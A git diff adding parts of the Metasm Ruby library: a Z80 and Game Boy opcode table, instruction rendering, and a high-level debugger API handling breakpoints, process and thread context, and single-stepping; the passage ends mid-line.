:setip, :u16 + addop 'jmp', [0b11_000_011], :setip, :stopexec, :u16 # alias jp + addop 'jp', [0b11_000_011], :setip, :stopexec, :u16 + + addop 'di', [0b11_110_011] # disable interrupts + addop 'ei', [0b11_111_011] + addop_macrocc 'call', [0b11_000_100], :u16, :setip, :saveip + addop 'push', [0b11_000_101], :rp2 + addop 'call', [0b11_001_101], :u16, :setip, :saveip, :stopexec + + addop 'add', [0b11_000_110], :r_a, :i8 + addop 'adc', [0b11_001_110], :r_a, :i8 + addop 'sub', [0b11_010_110], :r_a, :i8 + addop 'sbc', [0b11_011_110], :r_a, :i8 + addop 'and', [0b11_100_110], :r_a, :i8 + addop 'xor', [0b11_101_110], :r_a, :i8 + addop 'or', [0b11_110_110], :r_a, :i8 + addop 'cp', [0b11_111_110], :r_a, :i8 + + addop 'rst', [0b11_000_111], :iy8 # call off in page 0 + + addop 'rlc', [0xCB, 0b00_000_000], :rz # rotate + addop 'rrc', [0xCB, 0b00_001_000], :rz + addop 'rl', [0xCB, 0b00_010_000], :rz + addop 'rr', [0xCB, 0b00_011_000], :rz + addop 'sla', [0xCB, 0b00_100_000], :rz # shift + addop 'sra', [0xCB, 0b00_101_000], :rz + addop 'srl', [0xCB, 0b00_111_000], :rz + addop 'bit', [0xCB, 0b01_000_000], :iy, :rz # bit test + addop 'res', [0xCB, 0b10_000_000], :iy, :rz # bit reset + addop 'set', [0xCB, 0b11_000_000], :iy, :rz # bit set + end + + # standard z80 + def init_z80 + init_z80_common + + addop 'ex', [0b00_001_000], :r_af # XXX really ex AF, AF' ... + addop 'djnz', [0b00_010_000], :setip, :i8 + + addop 'ld', [0b00_100_010], :m16, :r_hl + addop 'ld', [0b00_101_010], :r_hl, :m16 + addop 'ld', [0b00_110_010], :m16, :r_a + addop 'ld', [0b00_111_010], :r_a, :m16 + + addop 'exx', [0b11_011_001] + addop 'out', [0b11_010_011], :i8, :r_a + addop 'in', [0b11_011_011], :r_a, :i8 + + addop 'ex', [0b11_100_011], :m_sp, :r_hl + addop 'ex', [0b11_101_011], :r_de, :r_hl + + addop 'sll', [0xCB, 0b00_110_000], :rz + + addop 'in', [0xED, 0b01_110_000], :u16 + addop 'in', [0xED, 0b01_000_000], :ry, :u16 + addop 'out', [0xED, 0b01_110_001], :u16 + addop 'out', [0xED, 0b01_000_001], :u16, :ry + addop 'sbc', [0xED, 0b01_000_010], :r_hl, :rp + addop 'adc', [0xED, 0b01_001_010], :r_hl, :rp + addop 'ld', [0xED, 0b01_000_011], :m16, :rp + addop 'ld', [0xED, 0b01_001_011], :rp, :m16 + addop 'neg', [0xED, 0b01_000_100], :r_a, :iy # dummy int field + addop 'retn', [0xED, 0b01_000_101], :stopexec # dummy int != 1 ? (1 = reti) + addop 'reti', [0xED, 0b01_001_101], :stopexec, :setip + addop 'im', [0xED, 0b01_000_110], :iy + addop 'ld', [0xED, 0b01_000_111], :r_i, :r_a + addop 'ld', [0xED, 0b01_001_111], :r_r, :r_a + addop 'ld', [0xED, 0b01_010_111], :r_a, :r_i + addop 'ld', [0xED, 0b01_011_111], :r_a, :r_r + addop 'rrd', [0xED, 0b01_100_111] + addop 'rld', [0xED, 0b01_101_111] + + addop 'ldi', [0xED, 0b10_100_000] + addop 'ldd', [0xED, 0b10_101_000] + addop 'ldir', [0xED, 0b10_110_000] + addop 'lddr', [0xED, 0b10_111_000] + addop 'cpi', [0xED, 0b10_100_001] + addop 'cpd', [0xED, 0b10_101_001] + addop 'cpir', [0xED, 0b10_110_001] + addop 'cpdr', [0xED, 0b10_111_001] + addop 'ini', [0xED, 0b10_100_010] + addop 'ind', [0xED, 0b10_101_010] + addop 'inir', [0xED, 0b10_110_010] + addop 'indr', [0xED, 0b10_111_010] + addop 'outi', [0xED, 0b10_100_011] + addop 'outd', [0xED, 0b10_101_011] + addop 'otir', [0xED, 0b10_110_011] + addop 'otdr', [0xED, 0b10_111_011] + + addop 'unk_ed', [0xED], :i8 + + addop 'unk_nop', [], :i8 # undefined opcode = nop + @unknown_opcode = @opcode_list.last + end + + # gameboy processor + # from http://nocash.emubase.de/pandocs.htm#cpucomparisionwithz80 + def init_gb + init_z80_common + + addop 'ld', [0x08], :m16, :r_sp + addop 'stop', [0x10] + + addop 'ldi', [0x22], :m_hl, :r_a # (hl++) <- a + addop 'ldi', [0x2A], :r_a, :m_hl + addop 'ldd', [0x32], :m_hl, :r_a # (hl--) <- a + addop 'ldd', [0x3A], :r_a, :m_hl + + addop 'reti', [0xD9], :setip, :stopexec + + # override retpo/jpo + @opcode_list.delete_if { |op| op.bin[0] & 0xE5 == 0xE0 } # rm E0 E2 E8 EA F0 F2 F8 FA + addop 'ld', [0xE0], :mf8, :r_a # (0xff00 + :i8) + addop 'ld', [0xE2], :mfc, :r_a # (0xff00 + :r_c) + addop 'add', [0xE8], :r_sp, :i8 + addop 'ld', [0xEA], :m16, :r_a + addop 'ld', [0xF0], :r_a, :mf8 + addop 'ld', [0xF2], :r_a, :mfc + addop 'ld', [0xF8], :r_hl, :r_sp, :i8 # hl <- sp+:i8 + addop 'ld', [0xFA], :r_a, :m16 + + addop 'swap', [0xCB, 0x30], :rz + + addop 'inv_dd', [0xDD], :stopexec # invalid prefixes + addop 'inv_ed', [0xED], :stopexec + addop 'inv_fd', [0xFD], :stopexec + + addop 'unk_nop', [], :i8 # undefined opcode = nop + @unknown_opcode = @opcode_list.last + end + + alias init_latest init_z80 +end +end diff --git a/lib/metasm/metasm/cpu/z80/render.rb b/lib/metasm/metasm/cpu/z80/render.rb new file mode 100644 index 0000000000..51a7b2e81b --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/render.rb @@ -0,0 +1,59 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/z80/opcodes' +require 'metasm/render' + +module Metasm +class Z80 + class Reg + include Renderable + def render ; [self.class.i_to_s[@sz][@i]] end + end + class Memref + include Renderable + def render + r = ['('] + r << @base if @base + r << '+' if @base and @offset + r << @offset if @offset + r << ')' + end + end + + def render_instruction(i) + r = [] + r << i.opname + if not i.args.empty? + r << ' ' + i.args.each { |a_| r << a_ << ', ' } + r.pop + end + r + end + + def gui_hilight_word_regexp_init + ret = {} + + # { 'B' => 'B|BC', 'BC' => 'B|C|BC' } + + %w[BC DE HL].each { |w| + l0, l1 = w.split(//) + ret[l0] = "#{l0}#{l1}?" + ret[l1] = "#{l0}?#{l1}" + ret[w] = "#{l0}|#{l0}?#{l1}" + } + + ret + end + + def gui_hilight_word_regexp(word) + @gui_hilight_word_hash ||= gui_hilight_word_regexp_init + @gui_hilight_word_hash[word] or super(word) + end + +end +end diff --git a/lib/metasm/metasm/debug.rb b/lib/metasm/metasm/debug.rb new file mode 100644 index 0000000000..26e88df103 --- /dev/null +++ b/lib/metasm/metasm/debug.rb @@ -0,0 +1,1445 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +module Metasm +# this class implements a high-level debugging API (abstract superclass) +class Debugger + class Breakpoint + attr_accessor :address, + # context where the bp was defined + :pid, :tid, + # bool: oneshot ? + :oneshot, + # current bp state: :active, :inactive (internal use), :disabled (user-specified) + :state, + # type: type of breakpoint (:bpx = soft, :hwbp = hard, :bpm = memory) + :type, + # Expression if this is a conditionnal bp + # may be a Proc, String or Expression, evaluated every time the breakpoint hits + # if it returns 0 or false, the breakpoint is ignored + :condition, + # Proc to run if this bp has a callback + :action, + # Proc to run to emulate the overwritten instr behavior + # used to avoid unset/singlestep/re-set, more multithread friendly + # may be a DecodedInstruction for lazy initialization, see Debugger#init_bpx/has_emul_instr(bpx) + :emul_instr, + # internal data, cpu-specific (overwritten byte for a softbp, memory type/size for hwbp..) + :internal, + # reference breakpoints sharing a target implementation (same hw debug register, soft bp addr...) + # shared is an array of Breakpoints, the same Array object in all shared breakpoints + # owner is a hash key => shared (dbg.breakpoint) + # key is an identifier for the Bp class in owner (bp.address) + :hash_shared, :hash_owner, :hash_key, + # user-defined breakpoint-specific stuff + :userdata + + # append the breakpoint to hash_owner + hash_shared + def add(owner=@hash_owner) + @hash_owner = owner + @hash_key ||= @address + return add_bpm if @type == :bpm + if pv = owner[@hash_key] + @hash_shared = pv.hash_shared + @internal ||= pv.internal + @emul_instr ||= pv.emul_instr + else + owner[@hash_key] = self + @hash_shared = [] + end + @hash_shared << self + end + + # register a bpm: add references to all page start covered in @hash_owner + def add_bpm + m = @address + @internal[:len] + a = @address & -0x1000 + @hash_shared = [self] + + @internal ||= {} + @internal[:orig_prot] ||= {} + while a < m + if pv = @hash_owner[a] + if not pv.hash_shared.include?(self) + pv.hash_shared.concat @hash_shared-pv.hash_shared + @hash_shared.each { |bpm| bpm.hash_shared = pv.hash_shared } + end + @internal[:orig_prot][a] = pv.internal[:orig_prot][a] + else + @hash_owner[a] = self + end + a += 0x1000 + end + end + + # delete the breakpoint from hash_shared, and hash_owner if empty + def del + return del_bpm if @type == :bpm + @hash_shared.delete self + if @hash_shared.empty? + @hash_owner.delete @hash_key + elsif @hash_owner[@hash_key] == self + @hash_owner[@hash_key] = @hash_shared.first + end + end + + # unregister a bpm + def del_bpm + m = @address + @internal[:len] + a = @address & -0x1000 + @hash_shared.delete self + while a < m + pv = @hash_owner[a] + if pv == self + if opv = @hash_shared.find { |bpm| + bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] > a + } + @hash_owner[a] = opv + else + @hash_owner.delete a + + # split hash_shared on disjoint ranges + prev_shared = @hash_shared.find_all { |bpm| + bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] <= a + } + + prev_shared.each { |bpm| + bpm.hash_shared = prev_shared + @hash_shared.delete bpm + } + end + end + a += 0x1000 + end + end + end + + # per-process data + attr_accessor :memory, :cpu, :disassembler, :breakpoint, :breakpoint_memory, + :modulemap, :symbols, :symbols_len + # per-thread data + attr_accessor :state, :info, :breakpoint_thread, :singlestep_cb, :run_method, + :run_args, :breakpoint_cause + + # which/where per-process/thread stuff is stored + attr_accessor :pid_stuff, :tid_stuff, :pid_stuff_list, :tid_stuff_list + + # global debugger callbacks, called whenever such event occurs + attr_accessor :callback_singlestep, :callback_bpx, :callback_hwbp, :callback_bpm, + :callback_exception, :callback_newthread, :callback_endthread, + :callback_newprocess, :callback_endprocess, :callback_loadlibrary + + # global switches, specify wether to break on exception/thread event + # can be a Proc that is evaluated (arg = info parameter of the evt_func) + # trace_children is a bool to tell if we should debug subprocesses spawned + # by the target + attr_accessor :pass_all_exceptions, :ignore_newthread, :ignore_endthread, + :trace_children + + # link to the user-interface object if available + attr_accessor :gui + + # initializes the disassembler internal data - subclasses should call super() + def initialize + @pid_stuff = {} + @tid_stuff = {} + @log_proc = nil + @state = :dead + @info = '' + # stuff saved when we switch pids + @pid_stuff_list = [:memory, :cpu, :disassembler, :symbols, :symbols_len, + :modulemap, :breakpoint, :breakpoint_memory, :tid, :tid_stuff, + :dead_process] + @tid_stuff_list = [:state, :info, :breakpoint_thread, :singlestep_cb, + :run_method, :run_args, :breakpoint_cause, :dead_thread] + @callback_loadlibrary = lambda { |h| loadsyms(h[:address]) ; continue } + @callback_newprocess = lambda { |h| log "process #{@pid} attached" } + @callback_endprocess = lambda { |h| log "process #{@pid} died" } + initialize_newpid + initialize_newtid + end + + def dasm; disassembler; end + + def shortname; self.class.name.split('::').last.downcase; end + + attr_reader :pid + # change pid and associated cached data + # this will also re-load the previously selected tid for this process + def pid=(npid) + return if npid == pid + raise "invalid pid" if not check_pid(npid) + swapout_pid + @pid = npid + swapin_pid + end + alias set_pid pid= + + attr_reader :tid + def tid=(ntid) + return if ntid == tid + raise "invalid tid" if not check_tid(ntid) + swapout_tid + @tid = ntid + swapin_tid + end + alias set_tid tid= + + # creates stuff related to a new process being debugged + # includes disassembler, modulemap, symbols, breakpoints + # subclasses should check that @pid maps to a real process and raise() otherwise + # to be called with @pid/@tid set, calls initialize_memory+initialize_cpu + def initialize_newpid + return if not pid + @pid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } + + @symbols = {} + @symbols_len = {} + @modulemap = {} + @breakpoint = {} + @breakpoint_memory = {} + @tid_stuff = {} + initialize_cpu + initialize_memory + initialize_disassembler + end + + # subclasses should check that @tid maps to a real thread and raise() otherwise + def initialize_newtid + return if not tid + @tid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } + + @state = :stopped + @info = 'new' + @breakpoint_thread = {} + gui.swapin_tid if @disassembler and gui.respond_to?(:swapin_tid) + end + + # initialize the disassembler from @cpu/@memory + def initialize_disassembler + return if not @memory or not @cpu + @disassembler = Shellcode.decode(@memory, @cpu).disassembler + gui.swapin_pid if gui.respond_to?(:swapin_pid) + end + + # we're switching focus from one pid to another, save current pid data + def swapout_pid + return if not pid + swapout_tid + gui.swapout_pid if gui.respond_to?(:swapout_pid) + @pid_stuff[@pid] ||= {} + @pid_stuff_list.each { |fld| + @pid_stuff[@pid][fld] = instance_variable_get("@#{fld}") + } + end + + # we're switching focus from one tid to another, save current tid data + def swapout_tid + return if not tid + gui.swapout_tid if gui.respond_to?(:swapout_tid) + @tid_stuff[@tid] ||= {} + @tid_stuff_list.each { |fld| + @tid_stuff[@tid][fld] = instance_variable_get("@#{fld}") + } + end + + # we're switching focus from one pid to another, load current pid data + def swapin_pid + return initialize_newpid if not @pid_stuff[@pid] + + @pid_stuff_list.each { |fld| + instance_variable_set("@#{fld}", @pid_stuff[@pid][fld]) + } + swapin_tid + gui.swapin_pid if gui.respond_to?(:swapin_pid) + end + + # we're switching focus from one tid to another, load current tid data + def swapin_tid + return initialize_newtid if not @tid_stuff[@tid] + + @tid_stuff_list.each { |fld| + instance_variable_set("@#{fld}", @tid_stuff[@tid][fld]) + } + gui.swapin_tid if gui.respond_to?(:swapin_tid) + end + + # delete references to the current pid + # switch to another pid, set @state = :dead if none available + def del_pid + @pid_stuff.delete @pid + if @pid = @pid_stuff.keys.first + swapin_pid + else + @state = :dead + @info = '' + @tid = nil + end + end + + # delete references to the current thread + def del_tid + @tid_stuff.delete @tid + if @tid = @tid_stuff.keys.first + swapin_tid + else + del_tid_notid + end + end + + # wipe the whole process when no TID is left + # XXX we may have a pending evt_newthread... + def del_tid_notid + del_pid + end + + + # change the debugger to a specific pid/tid + # if given a block, run the block and then restore the original pid/tid + # pid may be an object that respond to #pid/#tid + def switch_context(npid, ntid=nil, &b) + if npid.respond_to?(:pid) + ntid ||= npid.tid + npid = npid.pid + end + oldpid = pid + oldtid = tid + set_pid npid + set_tid ntid if ntid + if b + # shortcut begin..ensure overhead + return b.call if oldpid == pid and oldtid == tid + + begin + b.call + ensure + set_pid oldpid + set_tid oldtid + end + end + end + alias set_context switch_context + + # iterate over all pids, yield in the context of this pid + def each_pid(&b) + # ensure @pid is last, so that we finish in the current context + lst = @pid_stuff.keys - [@pid] + lst << @pid + return lst if not b + lst.each { |p| + set_pid p + b.call + } + end + + # iterate over all tids of the current process, yield in its context + def each_tid(&b) + lst = @tid_stuff.keys - [@tid] + lst << @tid + return lst if not b + lst.each { |t| + set_tid t rescue next + b.call + } + end + + # iterate over all tids of all pids, yield in their context + def each_pid_tid(&b) + each_pid { each_tid { b.call } } + end + + + # create a thread/process breakpoint + # addr can be a numeric address, an Expression that is resolved, or + # a String that is parsed+resolved + # info's keys are set to the breakpoint + # standard keys are :type, :oneshot, :condition, :action + # returns the Breakpoint object + def add_bp(addr, info={}) + info[:pid] ||= @pid + # dont define :tid for bpx, otherwise on del_bp we may switch_context to this thread that may not be stopped -> cant ptrace_write + info[:tid] ||= @tid if info[:pid] == @pid and info[:type] == :hwbp + + b = Breakpoint.new + info.each { |k, v| + b.send("#{k}=", v) + } + + switch_context(b) { + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + b.address = addr + + b.hash_owner ||= case b.type + when :bpm; @breakpoint_memory + when :hwbp; @breakpoint_thread + when :bpx; @breakpoint + end + # XXX bpm may hash_share with an :active, but be larger and still need enable() + b.add + + enable_bp(b) if not info[:state] + } + + b + end + + # remove a breakpoint + def del_bp(b) + disable_bp(b) + b.del + end + + # activate an inactive breakpoint + def enable_bp(b) + return if b.state == :active + if not b.hash_shared.find { |bb| bb.state == :active } + switch_context(b) { + if not b.internal + init_bpx(b) if b.type == :bpx + b.internal ||= {} + b.hash_shared.each { |bb| bb.internal ||= b.internal } + end + do_enable_bp(b) + } + end + b.state = :active + end + + # deactivate an active breakpoint + def disable_bp(b, newstate = :inactive) + return if b.state != :active + b.state = newstate + return if b.hash_shared.find { |bb| bb.state == :active } + switch_context(b) { + do_disable_bp(b) + } + end + + + # delete all breakpoints defined in the current thread + def del_all_breakpoints_thread + @breakpoint_thread.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } + end + + # delete all breakpoints for the current process and all its threads + def del_all_breakpoints + each_tid { del_all_breakpoints_thread } + @breakpoint.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } + @breakpoint_memory.values.uniq.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } + end + + # calls do_enable_bpm for bpms, or @cpu.dbg_enable_bp + def do_enable_bp(b) + if b.type == :bpm; do_enable_bpm(b) + else @cpu.dbg_enable_bp(self, b) + end + end + + # calls do_disable_bpm for bpms, or @cpu.dbg_disable_bp + def do_disable_bp(b) + if b.type == :bpm; do_disable_bpm(b) + else @cpu.dbg_disable_bp(self, b) + end + end + + # called in the context of the target when a bpx is to be initialized + # may (lazily) initialize b.emul_instr for virtual singlestep + def init_bpx(b) + # dont bother setting stuff up if it is never to be used + return if b.oneshot and not b.condition + + # lazy setup of b.emul_instr: delay building emulating lambda to if/when actually needed + # we still need to disassemble now and update @disassembler, before we patch the memory for the bpx + di = init_bpx_disassemble(b.address) + b.hash_shared.each { |bb| bb.emul_instr = di } + end + + # retrieve the di at a given address, disassemble if needed + # TODO make it so this doesn't interfere with other 'real' disassembler later commands, eg disassemble() or disassemble_fast_deep() + # (right now, when they see the block already present they stop all processing) + def init_bpx_disassemble(addr) + @disassembler.disassemble_fast_block(addr) + @disassembler.di_at(addr) + end + + # checks if bp has an emul_instr + # do the lazy initialization if needed + def has_emul_instr(bp) + if bp.emul_instr.kind_of?(DecodedInstruction) + if di = bp.emul_instr and fdbd = @disassembler.get_fwdemu_binding(di, register_pc) and + fdbd.all? { |k, v| (k.kind_of?(Symbol) or k.kind_of?(Indirection)) and + k != :incomplete_binding and v != Expression::Unknown } + # setup a lambda that will mimic, using the debugger primitives, the actual execution of the instruction + bp.emul_instr = lambda { + fdbd.map { |k, v| + k = Indirection[emulinstr_resv(k.pointer), k.len] if k.kind_of?(Indirection) + [k, emulinstr_resv(v)] + }.each { |k, v| + if k.to_s =~ /flags?_(.+)/i + f = $1.downcase.to_sym + set_flag_value(f, v) + elsif k.kind_of?(Symbol) + set_reg_value(k, v) + elsif k.kind_of?(Indirection) + memory_write_int(k.pointer, v, k.len) + end + } + } + bp.hash_shared.each { |bb| bb.emul_instr = bp.emul_instr } + else + bp.hash_shared.each { |bb| bb.emul_instr = nil } + end + end + + bp.emul_instr + end + + def emulinstr_resv(e) + r = e + flags = Expression[r].externals.uniq.find_all { |f| f.to_s =~ /flags?_(.+)/i } + if flags.first + bd = {} + flags.each { |f| + f.to_s =~ /flags?_(.+)/i + bd[f] = get_flag_value($1.downcase.to_sym) + } + r = r.bind(bd) + end + resolve(r) + end + + # sets a breakpoint on execution + def bpx(addr, oneshot=false, cond=nil, &action) + h = { :type => :bpx } + h[:oneshot] = true if oneshot + h[:condition] = cond if cond + h[:action] = action if action + add_bp(addr, h) + end + + # sets a hardware breakpoint + # mtype in :r :w :x + # mlen is the size of the memory zone to cover + # mlen may be constrained by the architecture + def hwbp(addr, mtype=:x, mlen=1, oneshot=false, cond=nil, &action) + h = { :type => :hwbp } + h[:hash_owner] = @breakpoint_thread + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + mtype = mtype.to_sym + h[:hash_key] = [addr, mtype, mlen] + h[:internal] = { :type => mtype, :len => mlen } + h[:oneshot] = true if oneshot + h[:condition] = cond if cond + h[:action] = action if action + add_bp(addr, h) + end + + # sets a memory breakpoint + # mtype is :r :w :rw or :x + # mlen is the size of the memory zone to cover + def bpm(addr, mtype=:r, mlen=4096, oneshot=false, cond=nil, &action) + h = { :type => :bpm } + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + h[:hash_key] = addr & -4096 # XXX actually referenced at addr, addr+4096, ... addr+len + h[:internal] = { :type => mtype, :len => mlen } + h[:oneshot] = true if oneshot + h[:condition] = cond if cond + h[:action] = action if action + add_bp(addr, h) + end + + + # define the lambda to use to log stuff + def set_log_proc(l=nil, &b) + @log_proc = l || b + end + + # show information to the user, uses log_proc if defined + def log(*a) + if @log_proc + a.each { |aa| @log_proc[aa] } + else + puts(*a) if $VERBOSE + end + end + + + # marks the current cache of memory/regs invalid + def invalidate + @memory.invalidate if @memory + end + + # invalidates the EncodedData backend for the dasm sections + def dasm_invalidate + disassembler.sections.each_value { |s| s.data.invalidate if s.data.respond_to?(:invalidate) } if disassembler + end + + # return all breakpoints set on a specific address (or all bp) + def all_breakpoints(addr=nil) + ret = [] + if addr + if b = @breakpoint[addr] + ret |= b.hash_shared + end + else + @breakpoint.each_value { |bb| ret |= bb.hash_shared } + end + + @breakpoint_thread.each_value { |bb| + next if addr and bb.address != addr + ret |= bb.hash_shared + } + + @breakpoint_memory.each_value { |bb| + next if addr and (bb.address+bb.internal[:len] <= addr or bb.address > addr) + ret |= bb.hash_shared + } + + ret + end + + # return on of the breakpoints at address addr + def find_breakpoint(addr=nil, &b) + return @breakpoint[addr] if @breakpoint[addr] and (not b or b.call(@breakpoint[addr])) + all_breakpoints(addr).find { |bp| b.call bp } + end + + + # to be called right before resuming execution of the target + # run_m is the method that should be called if the execution is stopped + # due to a side-effect of the debugger (bpx with wrong condition etc) + # returns nil if the execution should be avoided (just deleted the dead thread/process) + def check_pre_run(run_m, *run_a) + if @dead_process + del_pid + return + elsif @dead_thread + del_tid + return + elsif @state == :running + return + end + @cpu.dbg_check_pre_run(self) if @cpu.respond_to?(:dbg_check_pre_run) + @breakpoint_cause = nil + @run_method = run_m + @run_args = run_a + @info = nil + true + end + + + # called when the target stops due to a singlestep exception + def evt_singlestep(b=nil) + b ||= find_singlestep + return evt_exception(:type => 'singlestep') if not b + + @state = :stopped + @info = 'singlestep' + @cpu.dbg_evt_singlestep(self) if @cpu.respond_to?(:dbg_evt_singlestep) + + callback_singlestep[] if callback_singlestep + + if cb = @singlestep_cb + @singlestep_cb = nil + cb.call # call last, as the cb may change singlestep_cb/state/etc + end + end + + # returns true if the singlestep is due to us + def find_singlestep + return @cpu.dbg_find_singlestep(self) if @cpu.respond_to?(:dbg_find_singlestep) + @run_method == :singlestep + end + + # called when the target stops due to a soft breakpoint exception + def evt_bpx(b=nil) + b ||= find_bp_bpx + # TODO handle race: + # bpx foo ; thread hits foo ; we bc foo ; os notify us of bp hit but we already cleared everything related to 'bpx foo' -> unhandled bp exception + return evt_exception(:type => 'breakpoint') if not b + + @state = :stopped + @info = 'breakpoint' + @cpu.dbg_evt_bpx(self, b) if @cpu.respond_to?(:dbg_evt_bpx) + + callback_bpx[b] if callback_bpx + + post_evt_bp(b) + end + + # return the breakpoint that is responsible for the evt_bpx + def find_bp_bpx + return @cpu.dbg_find_bpx(self) if @cpu.respond_to?(:dbg_find_bpx) + @breakpoint[pc] + end + + # called when the target stops due to a hwbp exception + def evt_hwbp(b=nil) + b ||= find_bp_hwbp + return evt_exception(:type => 'hwbp') if not b + + @state = :stopped + @info = 'hwbp' + @cpu.dbg_evt_hwbp(self, b) if @cpu.respond_to?(:dbg_evt_hwbp) + + callback_hwbp[b] if callback_hwbp + + post_evt_bp(b) + end + + # return the breakpoint that is responsible for the evt_hwbp + def find_bp_hwbp + return @cpu.dbg_find_hwbp(self) if @cpu.respond_to?(:dbg_find_hwbp) + @breakpoint_thread.find { |b| b.address == pc } + end + + # called for archs where the same interrupt is generated for hwbp and singlestep + # checks if a hwbp matches, then call evt_hwbp, else call evt_singlestep (which + # will forward to evt_exception if singlestep does not match either) + def evt_hwbp_singlestep + if b = find_bp_hwbp + evt_hwbp(b) + else + evt_singlestep + end + end + + # called when the target stops due to a memory exception caused by a memory bp + # called by evt_exception + def evt_bpm(b) + @state = :stopped + @info = 'bpm' + + callback_bpm[b] if callback_bpm + + post_evt_bp(b) + end + + # return a bpm whose page coverage includes the fault described in info + def find_bp_bpm(info) + @breakpoint_memory[info[:fault_addr] & -0x1000] + end + + # returns true if the fault described in info is valid to trigger b + def check_bpm_range(b, info) + return if b.address+b.internal[:len] <= info[:fault_addr] + return if b.address >= info[:fault_addr] + info[:fault_len] + case b.internal[:type] + when :r; info[:fault_access] == :r # or info[:fault_access] == :x + when :w; info[:fault_access] == :w + when :x; info[:fault_access] == :x # XXX non-NX cpu => check pc is in bpm range ? + when :rw; true + end + end + + # handles breakpoint conditions/callbacks etc + def post_evt_bp(b) + @breakpoint_cause = b + + found_valid_active = false + + pre_callback_pc = pc + + # XXX may have many active bps with callback that continue/singlestep/singlestep{}... + b.hash_shared.dup.find_all { |bb| + # ignore inactive bps + next if bb.state != :active + + # ignore out-of-range bpms + next if bb.type == :bpm and not check_bpm_range(bb, b.internal) + + # check condition + case bb.condition + when nil; cd = 1 + when Proc; cd = bb.condition.call + when String, Expression; cd = resolve_expr(bb.condition) + else raise "unknown bp condition #{bb.condition.inspect}" + end + next if not cd or cd == 0 + + found_valid_active = true + + # oneshot + del_bp(bb) if bb.oneshot + + bb.action + }.each { |bb| bb.action.call } + + # discard @breakpoint_cause if a bp callback did modify register_pc + @breakpoint_cause = nil if pc != pre_callback_pc + + # we did break due to a bp whose condition is not true: resume + # (unless a callback already resumed) + resume_badbreak(b) if not found_valid_active and @state == :stopped + end + + # called whenever the target stops due to an exception + # type may be: + # * 'access violation', :fault_addr, :fault_len, :fault_access (:r/:w/:x) + # anything else for other exceptions (access violation is special to handle bpm) + # ... + def evt_exception(info={}) + if info[:type] == 'access violation' and b = find_bp_bpm(info) + info[:fault_len] ||= 1 + b.internal.update info + return evt_bpm(b) + end + + @state = :stopped + @info = "exception #{info[:type]}" + + callback_exception[info] if callback_exception + + pass = pass_all_exceptions + pass = pass[info] if pass.kind_of? Proc + if pass + pass_current_exception + resume_badbreak + end + end + + def evt_newthread(info={}) + @state = :stopped + @info = 'new thread' + + callback_newthread[info] if callback_newthread + + ign = ignore_newthread + ign = ign[info] if ign.kind_of? Proc + if ign + continue + end + end + + def evt_endthread(info={}) + @state = :stopped + @info = 'end thread' + # mark the thread as to be deleted on next check_pre_run + @dead_thread = true + + callback_endthread[info] if callback_endthread + + ign = ignore_endthread + ign = ign[info] if ign.kind_of? Proc + if ign + continue + end + end + + def evt_newprocess(info={}) + @state = :stopped + @info = 'new process' + + callback_newprocess[info] if callback_newprocess + end + + def evt_endprocess(info={}) + @state = :stopped + @info = 'end process' + @dead_process = true + + callback_endprocess[info] if callback_endprocess + end + + def evt_loadlibrary(info={}) + @state = :stopped + @info = 'loadlibrary' + + callback_loadlibrary[info] if callback_loadlibrary + end + + # called when we did break due to a breakpoint whose condition is invalid + # resume execution as if we never stopped + # disable offending bp + singlestep if needed + def resume_badbreak(b=nil) + # ensure we didn't delete b + if b and b.hash_shared.find { |bb| bb.state == :active } + rm = @run_method + if rm == :singlestep + singlestep_bp(b) + else + ra = @run_args + singlestep_bp(b) { send rm, *ra } + end + else + send @run_method, *@run_args + end + end + + # singlesteps over an active breakpoint and run its block + # if the breakpoint provides an emulation stub, run that, otherwise + # disable the breakpoint, singlestep, and re-enable + def singlestep_bp(bp, &b) + if has_emul_instr(bp) + @state = :stopped + bp.emul_instr.call + b.call if b + else + bp.hash_shared.each { |bb| + disable_bp(bb, :temp_inactive) if bb.state == :active + } + # this *should* work with different bps stopping the current instr + prev_sscb = @singlestep_cb + singlestep { + bp.hash_shared.each { |bb| + enable_bp(bb) if bb.state == :temp_inactive + } + prev_sscb[] if prev_sscb + b.call if b + } + end + end + + # checks if @breakpoint_cause is valid, or was obsoleted by the user changing pc + def check_breakpoint_cause + if bp = @breakpoint_cause and + (bp.type == :bpx or (bp.type == :hwbp and bp.internal[:type] == :x)) and + pc != bp.address + bp = @breakpoint_cause = nil + end + bp + end + + # checks if the running target has stopped (nonblocking) + # returns false if no debug event happened + def check_target + do_check_target + end + + # waits until the running target stops (due to a breakpoint, fault, etc) + def wait_target + do_wait_target while @state == :running + end + + # resume execution of the target + # bypasses a software breakpoint on pc if needed + # thread breakpoints must be manually disabled before calling continue + def continue + if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } + singlestep_bp(b) { + next if not check_pre_run(:continue) + do_continue + } + else + return if not check_pre_run(:continue) + do_continue + end + end + alias run continue + + # continue ; wait_target + def continue_wait + continue + wait_target + end + + # resume execution of the target one instruction at a time + def singlestep(&b) + @singlestep_cb = b + bp = check_breakpoint_cause + return if not check_pre_run(:singlestep) + if bp and bp.hash_shared.find { |bb| bb.state == :active } and has_emul_instr(bp) + @state = :stopped + bp.emul_instr.call + invalidate + evt_singlestep(true) + else + do_singlestep + end + end + + # singlestep ; wait_target + def singlestep_wait(&b) + singlestep(&b) + wait_target + end + + # tests if the specified instructions should be stepover() using singlestep or + # by putting a breakpoint at next_addr + def need_stepover(di = di_at(pc)) + di and @cpu.dbg_need_stepover(self, di.address, di) + end + + # stepover: singlesteps, but do not enter in subfunctions + def stepover + di = di_at(pc) + if need_stepover(di) + bpx di.next_addr, true, Expression[:tid, :==, 